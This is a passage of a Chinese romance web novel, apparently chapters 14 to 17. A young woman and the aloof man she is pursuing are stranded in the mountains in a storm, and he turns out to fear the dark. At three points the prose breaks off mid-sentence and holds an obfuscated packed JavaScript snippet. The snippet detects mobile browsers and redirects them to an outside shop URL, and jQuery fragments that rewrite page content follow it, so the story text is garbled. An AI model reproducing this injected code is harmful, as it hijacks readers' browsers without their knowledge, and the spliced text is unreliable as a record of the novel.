宜夏一脚踩上去,没站稳直接往前扑去。 谈雪昼一脸没耐心也没爱心,抱着手臂等在对岸,见她没站稳,却第一时间十分迅捷地抓住她的手臂,把她朝前一拉。 宜夏脚下踉跄,扑通一声,不仅没被他拉上岸,反而一失足跌到了溪水里,膝盖顿时磕在了滑腻的青苔上。 还把他也拉得朝前两步,一脚踩进了溪里。 溪水很浅,只到小腿,但他的裤脚还是湿了一大片。 而宜夏呢,膝盖上沾满了青苔,顿时青紫成一片。 稍微一抬腿,膝盖一阵肿痛。 谈雪昼转头看她,拧着眉。 宜夏不知道他那是什么表情。 不耐烦?还是……紧张? 谈雪昼问:“摔哪儿了?” 宜夏:“只擦了一下。” 掌心擦到了水底的碎石子上,破皮红了一片,小腿膝盖也有擦伤的淤青,不过整体不严重,其实也不疼。 棘手的是裤子湿了大半,湿黏黏的贴在腿上,走动很不方便。 谈雪昼朝她伸手:“上来。” 宜夏默默把手递出去。 他手很大,手掌干燥微凉。 把人拉上岸,谈雪昼低眼打量宜夏腿上手上的伤。 变戏法一样,从包里掏出了一瓶外伤喷雾,递给宜夏:“自己处理一下。” 宜夏握着喷雾站着,垂下脸:“我手疼。” 谈雪昼:“?” 宜夏小声说:“手也摔到了。我处理不好。你帮我弄一下吧。” 谈雪昼抱着手臂看着她,若有所思。 宜夏心头一阵惴惴。 谈雪昼点了点头:“可以。现在是美人计和苦肉计一起用上了?” 宜夏眨了下眼睛,片刻后,垂着头丧气问:“我算美人吗?” 谈雪昼接过她手里的喷雾,朝四周看了一圈。 十多米外有块光滑的石头能坐着休息一会儿,他朝宜夏示意:“去那坐着。”说完率先迈开长腿朝石头走去。 宜夏连忙跟上,又刻意嘶了一声:“你慢点。” 谈雪昼脚步一顿,扭头看她。 宜夏一瘸一拐地朝他走去,没注意,脚下一根粗壮的藤蔓绊了一步,顿时失去平衡朝前倒去,却扑进了他怀里。 宜夏僵住了。 谈雪昼似乎也有点懵,一时之间没有动作。宜夏耳朵抵着他的胸口,竟然听见了他的心跳声在耳畔放大。 片刻,宜夏拖着伤腿站直,谈雪昼没什么特殊反应,眉头皱着:“走路不看路的?” 宜夏细声说:“对不起。” 他依然眉头紧皱,反手攥住她的手腕,拉着她往前走。 全程也没转头看她。 宜夏心中一阵猛烈的悸动,她悄悄按了按心口。 他没拒绝,他甚至牵她手……是不是一种软化?还是说看她可怜? 没等想七想八想出解释来,她人已经被摁在了石头上坐下。 谈雪昼揭开喷雾的盖子,朝空气喷了一泵,语气凉凉说:“有点痛,你忍一下。” 宜夏摊开手,让他先朝掌心喷。 ……不是有点痛。 是非常痛! 简直像在伤口上直接涂酒精撒盐,让她一瞬间觉得掌心跟裂开一样的痛!这喷雾消毒止血消肿种种功能合一,作用起来疼痛也立刻加倍,宜夏咬住牙,深深吸气:“你故意的!” 谈雪昼晃了下瓶子,蹲下要喷她腿上受伤的位置。 宜夏连忙挪开受伤那条腿:“……我突然觉得好像没那么严重,不用这个。” 谈雪昼径直抓住她的脚踝。 宜夏不敢动了。 擦伤的部位传来的隐约疼痛瞬间淡去,脚踝处他掌心微凉的触感把她包围。那触感顺着皮肤如同蛛网一般往上爬,一直汇聚到心口,她的心猛一下狂跳起来,耳廓也红了。 这次是真害羞了,不自在地清嗓子:“算了。还是我自己来吧。” 谈雪昼没理她,朝她膝盖上喷了两泵,又朝小腿喷了泵。宜夏疼得哆嗦,努力吸气。 他掀起眼皮:“疼啊?” 慢条斯理收起喷雾,退开站了起来,凉凉说:“谁让你进山还穿这么短的裤子。活该。” 七分裤不短了好吗? 天气这么热,难道还要穿全身防护服吗? 宜夏咬着牙等那一阵强烈的疼痛感过去,曲着腿坐在石头上,垂下头翻手机。 山上没有基站,信号若有若无,直接退化成2G,什么都刷不出来。她只好打开数独消磨时间。 谈雪昼在她对面坐下,从包里掏出早上带的三明治,分给她一个。 宜夏拒绝:“不饿。你吃吧。” 谈雪昼咬了一口,低头看表。 宜夏小心翼翼说:“你鞋刚刚好像湿了,还能走吗?” “不能。” 宜夏呆了:“那怎么办?” 谈雪昼说:“不然你背我回去?” 宜夏:“……” 这人能靠谱点儿吗? 谈雪昼三两口吃完了三明治,站起来居高临下问:“你还要休息多久?” 宜夏为难说:“你要往山里去的话你就自己走吧,我去不了了。” 谈雪昼点了点头,毫不犹豫地…… 就转身离开了! 他就走了! 他居然直接走了! 留下她一个腿受伤的姑娘,在这大山深处,她甚至分不清东南西北! 宜夏呆住了,愣在原地没喊住他。 她真有点难过了。上一秒还以为谈雪昼这人已经软化了,下一秒他就用他的铁石心肠告诉她,不存在的。 革命离成功还有99%的差距,宜夏怆然而涕下,抱着腿开始在心里给他扎小人。 铁石心肠。 冷酷无情。 不近人情。 受害妄想。 “……还有呢?” 宜夏猝然抬头。 谈雪昼再次出现在了眼前,居高临下,漫不经心问:“还有什么词骂我?” 宜夏尴尬住,镇定地别过脸。 谈雪昼说:“我只是上去看一下天气。” 宜夏:“……哦。” “刮风了。马上要下雨,要回去了。”谈雪昼这是第一次解释自己,又看了眼宜夏的腿,“你能不能走?” 宜夏其实伤得不严重。 疼也只疼一阵。 不过—— 她眨了下眼睛,小声说:“不能。” 他该不会,主动提出,背她吧? 谈雪昼抱着手臂,淡声说:“那我先走了,你就在这里等救援吧。” 宜夏瞪大眼睛。 谈雪昼已经转身,宜夏顾不得那么多,慌忙撑着石头站起来。腿虽然伤不严重,但也是有点疼的,她嘶了一声,喊住谈雪昼:“你怎么这样!” 谈雪昼回过头:“我怎样?” 宜夏说:“我是陪你出来的。” “嗯。” “所以你不能把我丢在这里。” 谈雪昼说:“那我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481276|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里搭个帐篷,直接过夜?” 宜夏气死了:“那你没看到我腿受伤了吗?” “嗯,不趁早送到医院,马上就要愈合了。” 宜夏卖惨失败,整个人垂头丧气,胡乱说:“我们女生,跟你们不一样。虽然看起来,只是一点擦伤,但,其实很严重的。不仅是破皮流血了,甚至会影响我的精神状态……” “稍微不注意,你第二人格就会出来是吧?” 宜夏破罐破摔了:“马上就要出来了,你别被吓死。” 谈雪昼问:“你第二人格不是只想着,怎么泡我吗?” 宜夏磨牙:“对啊,现在这荒郊野岭的,你可一定要保护好自己。” 谈雪昼看着她,好一会儿,突然很短暂地笑了下,别过眼:“走不走?” “……哦。” 宜夏知道自己就算真的跟他作,他估计也不会搭理,只好慢吞吞收拾了东西,一瘸一拐站起来。膝盖上的疼痛勉强能够忍受,但走起路来,蹭得难受。 谈雪昼等在前面,挺耐心看她一步一步走过来,朝她伸手。 宜夏愣了下,试试探探瞅着他,把手递到他手心。 这么好心要牵她? 太暧昧了吧。 谈雪昼也不主动撤回,只等她已经把手放在他手掌上的时候,才带着笑意说:“把你包给我。” 宜夏:“……” 她若无其事地蹭一下收回手,把肩膀上的包卸下来塞给他,别过脸假装到处找能做拐杖的树枝。 海岛的天色变得很快。 两个人顺着原路返回,中途谈雪昼快走几步到一个山坡上瞭望两眼,回头来跟她说:“要快一点,快下雨了。” 宜夏撑着拐杖,闻言要加快速度,可是动作一着急,膝盖上的伤就疼起来,疼得脸皱成一团。 谈雪昼侧过头看她。 宜夏立刻说:“干嘛,我没拖你后腿。” 他说:“把你那破树枝丢了。” 宜夏:“……又没妨碍到你。” 他说:“走这么慢。” 快走两步,背对着她蹲下:“上来。” 宜夏一愣。 下意识是拒绝:“我自己能走,而且这个路这么难走,你能行吗?” 谈雪昼说:“你试一下不就知道了?” 正说话间,猝不及防,乌云聚拢,大雨倾盆而下。雨点稀里哗啦的,顿时两个人都被打湿了不少。谈雪昼从宜夏的包里翻出伞撑开递给她:“快点,我背你,你打伞。就一把伞,别磨蹭。” 宜夏犹豫了一秒,还是很果断地在他背上趴下,单手撑着伞。也许这是唯一一种方式,可以一把小伞撑两个人。 谈雪昼背起她,很注意距离的没碰到她大腿,两只手只碰到她膝盖弯。 虽然下着雨走山路,但他依然很稳。 宜夏趴在他背上,一时间忽然又有点内疚了。确实是她自己要跟出来,又是她自己受伤,完了之后还要他背。 是给他添麻烦。 说起来他性格其实也没那么坏。 “你是个好人。”宜夏下巴搁在谈雪昼肩膀上,突然说。 谈雪昼不想理她,低着头看路。 “对不起哦。”宜夏小声说,“给你添麻烦了。” 谈雪昼懒得搭理:“如果你能不要在我背上动来动去,就不算太麻烦。” 宜夏顿时不动了,老老实实趴着撑伞,小声问:“你觉得还有多远?” “来的时候走了两个小时,回去至少也要走三个小时。” 宜夏沉默半秒:“你能坚持吗?” “坚持负重?”谈雪昼说,“如果我说不行,你打算怎么办?” 宜夏保持沉默,半晌说:“男人不能说不行。” 谈雪昼真的懒得跟她废话。 过了两秒,她又补充说:“我不重。” 宜夏自己又算时间。现在已经下午五点,走出去岂不是要到八点了,天都要全黑了。不过谈雪昼野外经验相当丰富,带了手电。 ……等等,他野外经验这么丰富,怎么会不带伞呢。 走了半个多小时,雨还是没停。 谈雪昼依然气息稳定,宜夏却彻底不好意思了。肢体接触嘛……也不急在这一时,要是把人累坏了可是要赔医药费的。 她试探着说:“雨好像没多大了,你把我放下吧。” 谈雪昼没理她。 宜夏也没得了便宜还卖乖继续作,埋着头忽然问:“谈老师,我问你一个问题。” “说。” “如果有人骗了你,你会怎么样?” “看情况。” “特别严重那种呢?……比如,欺骗你感情?” 谈雪昼沉默了两秒,扭过头看了她一眼。宜夏却没看清他的表情,他很快又回过头继续走,语气懒散:“如果她想骗的话,骗就骗了。” 宜夏愣了下,挣扎起来:“她是谁?你……不是,你有女朋友啊?” “别乱动。” 宜夏继续挣扎:“不是,你……我……如果你有女朋友……” “没有。” “哦。”宜夏不动了。 谈雪昼背着她继续稳定地走了一段,宜夏低声说:“谈老师,我也没有男朋友。” “那要我给你介绍一个?” 宜夏不吭声了。 跟他没办法说到一起去,真是媚眼抛给瞎子看。 谈雪昼隐隐勾了下唇角,叫背上的人:“伞打高一点。” “噢。” 他口袋里的手机忽然震动了起来。 默认的手机铃声响起。谈雪昼腾不开手看手机,叫宜夏:“左边口袋,帮我接一下。” 宜夏伸长手摸出手机,扫了眼来电显示,顿时呼吸一紧,手臂僵住。 来电显示: 于思程 15. 春日 第15章 手机铃声依然催命般响着。 宜夏心从没跳这么快过,她根本不知道怎么反应,下意识就把那个电话给挂断了。 谈雪昼回头:“谁?” “……骚扰电话。”宜夏深呼吸,屏息祈祷于思程不要再打过来了。 然而天不遂人愿。 电话坚持不懈地响起。 还是于思程。 谈雪昼问:“骚扰电话这么执着?” 宜夏再挂就太欲盖弥彰了。 她只要咬着牙滑了下屏幕,手机接通。 不过她按了外放,才把手机贴到谈雪昼耳边。 那边是于思程温柔娇俏的声音:“喂?是雪昼吗?我是思程。” 谈雪昼停顿一秒,若有所思“嗯”了一声。 “我这段时间都在江流呀,爷爷说你也在江流是吗?爷爷想安排咱们一起吃个饭,你看你什么时候有时间呀?我时间都可以的——” 宜夏屏住呼吸。 突然感觉还趴在谈雪昼背上的自己非常的像小丑。 人家于思程直接就是相亲对象,过了家长明面的未来女朋友?她呢,她却还在这里使一些雕虫小技,试图从这里那里攻略谈雪昼。 谈雪昼没出声。 那边,于思程停止了喋喋不休,迟疑问:“雪昼?你在听吗?” 谈雪昼声音懒散,漫不经心:“我已经说清楚了,我不会来跟你吃饭的。还有,跟你不熟,不要叫我雪昼,叫我全名,谢谢。” 于思程:“……这、这怎么……但这是,爷爷安排的呀。” 谈雪昼没说话。 宜夏很机灵想帮他把电话挂了,却听见对面于思程问:“你是不是,对我有什么偏见?我之前,做过什么得罪你的事情吗?如果你对我有什么误会,我们可以开诚布公地聊一下的,我真的……我觉得我们这桩婚事,我觉得对你也不会有什么坏处。” 谈雪昼不咸不淡说:“是没有坏处。”他刻意顿了几秒,“但也没有好处。我不会跟一个我不认识不喜欢的女人结婚。” 那边陷入了尴尬的沉默。 宜夏努力克制住幸灾乐祸的笑声,心里尖叫欢呼,为谈雪昼疯狂鼓掌。 电话两端都安静了,谈雪昼稳健地朝前走着,侧过头说:“宜夏,挂了。” 宜夏立刻把电话挂掉,再次塞回他的口袋里。 电话彼端的于思程怔住了。 站在开阔的阳台上,撑着栏杆反复想刚刚听见的名字。 ……yixia,挂了? 很明显能听出电话是在外放,也能听见走路声。谈雪昼到底和谁在一起?电话是谁帮他接的? yixia? ……宜、夏? 他们怎么会在一起? 怎么可能? - 这边。 宜夏被爽死了。 谈雪昼不光对她态度冷漠,对于思程那更是秋风扫落叶一般无情。对比之下,对她的态度甚至算得上温柔亲切了,果然是个不随便在外面拈花惹草的好男人。 宜夏好想找个话题好好吹捧赞美谈雪昼一番。 但又不能吹得太直白太明显。 她安静了片刻,才若无其事开口:“刚刚电话里的是谁啊?你那个相亲对象吧?” “跟你关系不大。”谈雪昼淡定说,“别八卦。” 宜夏趴在他肩头,很虚伪地说:“不是,谈老师,你怎么能对女生这么冷漠无情呢?态度太差了。” 谈雪昼:“那你希望我对她态度好一点?把电话拿出来,再打一个过去,就说我同意跟她见面跟她发展关系了。” 宜夏继续虚伪:“……好歹,人家,是你家里安排的相亲对象呀,听起来对你也很有好感的呀。” 谈雪昼:“对我有好感的多了,我每一个都要态度良好,那是犯罪的。” “什么罪?” “重婚。” 宜夏:“……” “而且,你跟她,”谈雪昼漫不经心说,“也算竞争对手吧?怎么还劝我?” 宜夏心一紧。 半秒后才放松下来,想明白他说的是感情上的竞争对手,而不是事业……他应该不知道吧。 宜夏垂着头,小声嘟囔:“我只是在虚伪表现自己的大度。” 谈雪昼:“是挺虚伪。” “是不是挺大度?” “那倒没有。” 宜夏:“……”她被噎了一秒,还是没忍住问,“你能不能不要每次都噎我?就不能对我,态度好点儿吗?” 谈雪昼似乎笑了声,漫不经心问:“现在是谁在我背上?别得寸进尺。” 宜夏:“……” 雨势逐渐小了,天色擦黑。 谈雪昼背着宜夏,终于在天色完全黑下来的时候,从山里出来,走到了公路上。 他们的车就停在公路旁边。 宜夏从谈雪昼背上下去,一瘸一拐走到摩托旁边,从背包里掏出纸巾把打湿的坐垫聊胜于无地擦了擦。 谈雪昼没有废话,跨上车打火。 引擎轰鸣一声,很快泄气,呜一声泄了劲。 再打一次火,依然不动。 宜夏探身过去看了眼仪表盘。 引擎根本就没动。 车——坏了? 啊? 屋漏偏逢连夜雨,什么情况? 她胡思乱想的功夫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503463|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈雪昼已经把车检查了一遍。 是引擎出了故障,没办法启动。他站在原地打租车行的电话让对方来处理,手机却没电了。宜夏掏出自己的手机,也是关机状态。 这下叫天天不应,叫地地不灵了。 宜夏转头看向谈雪昼:“怎么办?” 谈雪昼一时之间也不知道如何是好。 揉着太阳穴想了想,他问:“你想在这里等救援,还是往回走,看路上能不能遇见顺路的车?” 宜夏选后者。 谈雪昼在地图上给摩托车的位置标了点。 两个人顺着公路往山下走。 这条路是环山道,蜿蜒曲折,漫长得几乎没有尽头。又是荒山野岭,完全没有路灯,天上也没有一丝光,乌云罩月,漆黑一片。不时有风呜呜吹过,野生动物的黑影窜过,宜夏后颈发凉,浅浅起了一层鸡皮疙瘩。 谈雪昼打着手电走在前面,步伐稳定。 宜夏快走几步追上去。距离拉近,她才安心,声音哆嗦着:“那我们走回去,大概要走多久。” “跑过马拉松没有?” 宜夏愣了一秒。 “大概就一半远。” 宜夏被他吓唬住了,转念一想好像没那么远,没忍住:“你背着我,从山里出来走了那么久,你还能走二十公里吗?” 谈雪昼偏头瞥了她一眼,慢条斯理说:“男人不能说不行。这不是你说的?” 宜夏:“……” 只是屋漏偏逢连夜雨。 要在荒郊野岭走夜路也就算了,刚刚停下的雨又下了起来。开始雨势不大,不一会儿电闪雷鸣,大雨倾盆而下。 幸好路边有搭好的搭车棚可以避雨。 两个人站在狭窄的雨棚下,都有些疲惫。 谈雪昼的手电射出一束雪白的光束,光柱里雨点如豆,噼里啪啦作响。宜夏的裤脚被雨水打湿,衣服肩膀也润湿大半,她抱着肩膀,仰起头看黑沉的天色,白亮的雨点。湿衣服黏在身上,风一吹,冷得瑟瑟发抖。 谈雪昼手里的光柱晃了晃,他转头看过来。 破天荒,关心了一句:“冷?” 宜夏摇头。 一秒之后,她突然反应过来。 ——这不是天赐良机是什么? 荒野,暴雨,全世界只剩两个人,这他妈是送上门的机会。 宜夏吸了口气,转过头看着谈雪昼,睫毛闪动扑腾如蝴蝶。 酝酿半秒开口,声音刻意有些发抖,硬凹出来最惹人怜惜的声线:“嗯……我好冷。我衣服都湿了。” 谈雪昼用手电晃着雨幕,瞥她一眼,凉凉说:“那就用你温暖的体温,烘干它。” 宜夏:“……” 16. 春日 第16章 - 暴雨没停。 一直躲在搭车棚下等不现实。宜夏知道这附近会有进山人留下的棚子可以避雨。趁雨势小了点,两个人在附近找了一圈,却什么都没看到。 宜夏一把小伞撑两个人,两个人身上都打湿不少。 宜夏本来想找理由,多接触一下,但想起他刚刚让她用体温烘干衣服,她就生气,一时之间都顾不上找借口热脸贴冷屁股。 又在暴雨天走了一段路。 终于看见了附近一幢木屋。 闪电轰然作响,电光把四周倏然照亮。 宜夏看清了雨中那幢木屋的样子——非常经典的恐怖片造型,木头老旧,应该是早就荒废没人住。好像下一秒就会坍塌,又好像潜伏着十个变态杀人狂要玩大逃杀。 她正犹豫,谈雪昼已经径直走过去,推开了木屋的大门。 宜夏只好跟上去。 谈雪昼用手电四处照了照。 也顾不上干净不干净,只要不用淋雨,有地方休息到明早就行了。 这栋房子估计之前也有过人临时过夜,有一些留下来的东西,树枝、引火的旧报纸之类。谈雪昼把这些东西翻出来,找出打火机点火。 火堆迅速燃起来,光焰明灭,宜夏凑近取暖,试图烘干身上的衣服。 谈雪昼坐在她旁边朝火堆理丢树枝。 没晒过的树枝烟气熏人,他眼睛本来就不好,被烟气一冲,直接睁不开了。 眼睛有强烈的流泪冲动,又烫又刺,他紧紧闭着眼,仰起头等那种刺痛感过去。 宜夏若无其事地挨着他坐,随后,又若无其事往他那里靠了靠,小幅度的。 片刻后,谈雪昼眼皮微凉。 有一只手轻轻在他眉骨周围揉了揉。 他倏然睁眼,抬手握住她的手腕,拉开。 两个人脸孔距离极近,几乎都要鼻尖碰上鼻尖,旁边火光明灭,两双眼都笼在黑暗里,只能看清眼瞳上一点微弱高光。 他看见她眼睛上那点高光在微微发着抖。她咽了咽口水,声音干涩:“你眼睛……我……” “你……” 宜夏手腕不自在地挣了挣。 她也不知道刚刚哪来的勇气,凑上去用手指帮他敷眼睛。 有点唐突。 指腹依然残留着他眼皮温热的触感,她背过手,手指蜷缩起来,悄悄捻了捻。 谈雪昼偏过脸,看着昏暗处。 宜夏受不了这种微妙的气氛。她往旁边蹭了蹭,讪讪离他远了一点,低着头假装给火堆里添柴火。 片刻后,还是没按捺住,垂着眼睫若无其事问:“要不要我再……帮你再按一下?可能眼睛会舒服一点。” “你如果……” 后半句话太轻太模糊了,宜夏没听清他到底说了什么。 她想问,但隐约微妙的气氛却暗暗地告诉她,不该说话,不该开口。毕竟,之前每次只要一问到眼睛,他的情绪都会变得很恶劣。 她默默地盯着火堆摇曳的火焰,脑海里不由自主翻腾着想法,这种好机会不发生点什么太可惜了。 就算什么都不发生,也可以聊聊诗词歌赋人生哲学什么的。 很安静。 外面是铺天盖地的雨声,面前是哔剥的火焰燃烧声响。火堆不知道烧到了什么东西,突然猛烈地燃烧起来,火光映红了火堆旁两人的脸颊。 宜夏靠着火堆昏昏欲睡。 本来在野外求生了一整天,身体已经格外疲乏了,这会儿有了火,有了干燥的地方躲雨,她的精神很快松懈下来。 抱着膝盖把自己蜷缩成一团,很快眼皮就阖上了。 睡着前最后一眼,看见谈雪昼低垂着眼皮给火堆里添树枝,似乎没什么情绪。浓密纤长的睫毛在脸颊上投下根根分明的阴影,深邃得过分。 - “轰隆——” 宜夏倏然睁眼。 被外面炸响的闷雷声从梦里唤醒。 刚醒两秒,她头脑还不清醒,环顾四周一圈,才意识到自己这是在荒郊野外。 烧起来的火堆不知道什么时候已经熄灭了,小木屋里黑得伸手不见五指。宜夏摸索着叫谈雪昼的名字,一伸手,却抓到了一只冰冷的手。 就在这时,银亮的闪电乍亮,把小木屋里的东西照得明亮。宜夏一转头,看见谈雪昼的神色,顿时愣住了。 他双眼紧闭,额头上有明显的冷汗,嘴唇紧紧抿着,脸色很难看,明显在压抑着呼吸。 简直跟被魇住了一样。 宜夏怔了一秒,手腕处传来一股巨力。 他紧紧地攥着她的手腕,就好像抓住了什么救命稻草一般,突然把她朝他扯过去。 宜夏不慎,一头栽进他怀里,下意识抱住他的腰。 他竟然在发抖,微微地打着哆嗦,呼吸一声重似一声。 宜夏慌张问:“你怎么了?谈雪昼,你别吓我?” “光……” 他的声音很轻。 宜夏没听清,急切地凑过去:“你说什么?” “光……” 又是一道明亮的闪电,把漆黑一片的房间照得大亮。紧接着是连绵不绝的轰隆闷雷声,暴雨声不停,打在屋顶、屋檐、窗棂,打在窗外高大的七叶树和山毛榉树叶上,稀里哗啦,重重敲在人心上。 宜夏根本听不清谈雪昼的声音,却感觉到他把她箍进了怀里。他的脑袋埋在她的颈窝处重重喘息,哑声说着什么。宜夏手掌按在他背上,手底下的身体依然在微微地发着抖。 宜夏感觉他像心脏病或者什么急病发作,眼泪都被急出来了,声音也跟着发抖:“你带药了吗?要、要吃什么药?” 他紧紧抱着她,好像抱一只柔软的玩偶,勉强能呼吸过来,声音还在发抖:“手电……” 宜夏勉强听清他在说什么,赶紧扑过去把丢在一旁晾干的手电摸索着按开,递到谈雪昼手里。 谈雪昼握住手电,一下没拿稳,亮着光的手电跌在地上。一点余光闪过,宜夏瞥见谈雪昼的瞳孔似乎都开始涣散了。 宜夏一只手紧紧掐住他的手腕,另一只手探过去把手电捡起来,再塞回给谈雪昼。谈雪昼又没能拿稳,宜夏两只手拢在一起让他把那一束光捧住,他才能勉强支撑住。 漆黑一片的房间里亮起了一点微弱的光线,不再伸手不见五指。 窗外暴雨声依然不绝,谈雪昼急促的呼吸声逐渐开始平复,宜夏才注意到自己竟然紧紧地握着他的手,跟他面对面,几乎紧紧贴在一起。 宜夏不太自在了,但掌心握着的两只手冰凉得像雪,她不敢轻易松手。 许久。 谈雪昼的呼吸终于均匀。 宜夏感觉掌心的手也开始有了温度,试探着想要撤开。 然而手臂被人扯住了,半个身体都被扯到了他怀里。 他声音低哑:“别动……” 宜夏不敢动,靠着他,片刻后低声问:“你怎么了?” “没事……一会儿就好了。” 宜夏问:“是什么病吗?还是?” 他额头冷汗涔涔,呼吸不畅,好久之后才回答:“不是……只是,没有光……” 宜夏理解了一下,轻声问:“刚刚,火灭了,你……你怕黑吗?” 宜夏以为他不会承认。 没想到他轻轻“嗯”了一声。 这不是什么正常的怕黑,而是严重的生理反应。 宜夏摸索着把手电调亮一个档位,低低地问:“你现在,好点了吗?” “嗯。” 宜夏问:“要不要再烧一下火?” “嗯。” 宜夏:“……” 这个人好像只会说“嗯”了。 她站起来打算去收集旁边的柴火树枝,下一秒却又被他攥住手腕一拽,跌坐回他身边。他声音很轻,有点挣扎:“还是,别烧了。” “……” “别动。” 宜夏只好紧紧挨着他坐着。 耳畔他的呼吸格外清晰,一声一声。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520051|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在宜夏以为,会这么安静到天荒地老的时候,谈雪昼终于出声了:“……是不是,很丢人?” “什么?” “怕黑。” 宜夏轻声说:“不会啊。” 她慢慢说:“很正常啊,每个人都有害怕的东西,比如我就怕鬼,我也知道没有鬼,但就是会胡思乱想,总是疑神疑鬼。我小时候,也会怕黑,睡觉也不能关灯。” “后来呢?” “后来长大了,就不怕了吧。” “嗯。” 宜夏看了眼他的神色,想了想,轻声问:“你现在好点了吗?我把火烧起来吧?” 他终于松手。 宜夏摸索着捡来房间里另一头堆的树枝,搭成火堆。 谈雪昼已经好多了,低着头拿打火机和旧报纸引火。很快再次燃起火堆来,宜夏坐得离火堆近了一点。 刚刚被谈雪昼吓了一下,这会儿没别的事了,看着火焰的明灭又开始昏昏欲睡。 可是一转头,却见浓重的阴影里谈雪昼的神色。 他怔怔出着神,好像还没从那种梦魇般的状态清醒过来。 宜夏怕他还没好,只好打起精神努力跟他讲话:“你刚刚反应好像有点严重。你……看过医生吗?” “很久没发作了,只要有光,一般不会这么严重的。”谈雪昼声音很低。也许是夜深了,他声音染上了很多困倦。 宜夏低低地“哦”了一声。 他低声说:“看过医生,但没什么用。是小时候发生的一些事造成的。” “什么事?” 谈雪昼说:“……没什么。” 宜夏看出来他好像不愿意多说,想了想,轻声说:“我小时候很怕黑,我外婆都会讲故事哄我睡觉。要不要我给你讲一个故事?” “什么,睡前故事?” “听不听啊?” “你讲。” 小时候,每次宜夏睡不着,外婆都会给她从头开始讲故事,到后面,宜夏都不用外婆开头了,自己可以往下面编,编着编着,就不再怕黑了。 “很久很久以前,有一群小鹿,住在很远很远的仙女森林里。有一只小鹿叫做玛莎,她不是很合群,朋友们都不愿意和她一起玩。但是她却不觉得难过,因为,她有一个好朋友,别人都不知道。她每天都悄悄去仙女森林深处的月亮潭看她的好朋友芝麻。芝麻是一只受伤的……你猜芝麻是什么动物?” 谈雪昼:“……熊猫?” “你怎么知道?!” 谈雪昼看着她,忽然浅浅笑了下。 和平时的冷笑淡笑不同。明灭的橘色火焰在他脸上呼吸,鼻梁的弧线如同山峦起伏,寂静中有一种温暖柔软的感觉。 宜夏被他一点点笑容勾了下神,反应过来时,别过脸假装看火,轻声说:“芝麻是一只受伤的熊猫,每天都懒洋洋地趴在月亮潭旁边晒月亮。仙女森林的月亮是香草冰淇淋口味的,到晚上的时候,就会化掉。这时候,玛莎就会叼来一大片荷叶,接住融化的月亮,和芝麻一起吃冰淇淋……” 宜夏絮絮叨叨,没什么目的地胡乱编了一通,从小鹿玛莎编到熊猫芝麻,再编到小狐狸、兔子姐姐,讲着讲着把自己都讲困了。 头一点一点,快要把自己哄睡着了。 迷糊中,她隐约听见谈雪昼低沉遥远的声音:“你刚刚问我,能不能对你态度好一点。” 他顿了下:“可以。” “我答应你。” 宜夏从睡意中勉强挣脱出来,转过头茫然地看他。 他下颌绷紧,仰起头,静静看着天花板倒映的影子形状,声音很笃定:“没关系了。我答应你。” 宜夏不知道发生了什么,接近茫然地看着他。 他勾了勾唇,眉眼舒展,笑起来,明朗粲然的脸孔,漆黑的瞳孔在昏暗的火光映照下熠熠生辉。 宜夏忽然想起第一次见他,自带聚光灯,笑起来仿佛整个世界都被照亮。 那一瞬间,或者这一瞬间,她不确定她的心跳过速到底是为什么。 17. 春日 甚至,有点亲密。 第17章 - 半夜,凌晨两点,宜夏实在是眼皮支撑不住了,头一点一点,差点栽到火堆里。谈雪昼眼疾手快扯住她,说:“想睡就睡。” “我睡了你怎么办?” “我守夜。” 宜夏说:“这样,你守两小时,我守后半夜。” 谈雪昼没理她,自顾自给火堆里添树枝。 宜夏本来特别困,聊两句话的功夫,精神又好了一点。 她怕火如果熄掉了没有光谈雪昼又有反应,于是努力挣扎着坐直了,揉了下眼睛,小声说:“谈老师,我们聊天吧。” “免了。” “你刚还说要对我态度好的。” 谈雪昼:“别得寸进尺。” “聊个天都不愿意,你根本就是不讲信用。” 谈雪昼深吸一口气,缓缓吐出来:“聊什么?” “你问我一个问题,我问你一个问题,都要说真话,不许说谎。” “……没兴趣。” 宜夏气急:“你有!” 谈雪昼懒洋洋伸长腿,侧过头看她:“想问我什么你直接问得了,还搞这种你问一个我问一个。你打什么主意我不知道?” 宜夏:“……既然你这么说了。” 她顿了下,若无其事问,“你之前有没有交过女朋友?” 谈雪昼问:“你觉得呢?” “我不猜。” “凭我这张脸,你觉得有没有?” 宜夏:“……” 谈雪昼思索片刻,说:“也就是有那么,一二十个前女友吧。” 宜夏:“呵呵,我不信。除非你说出来是谁。” “我凭什么要告诉你?” “……还能不能聊天了?” 谈雪昼漫不经心说:“不能,你赶紧睡吧。” 宜夏沉默两秒,讽刺:“没谈过就没谈过,何必还在我面前装得自己很厉害。” 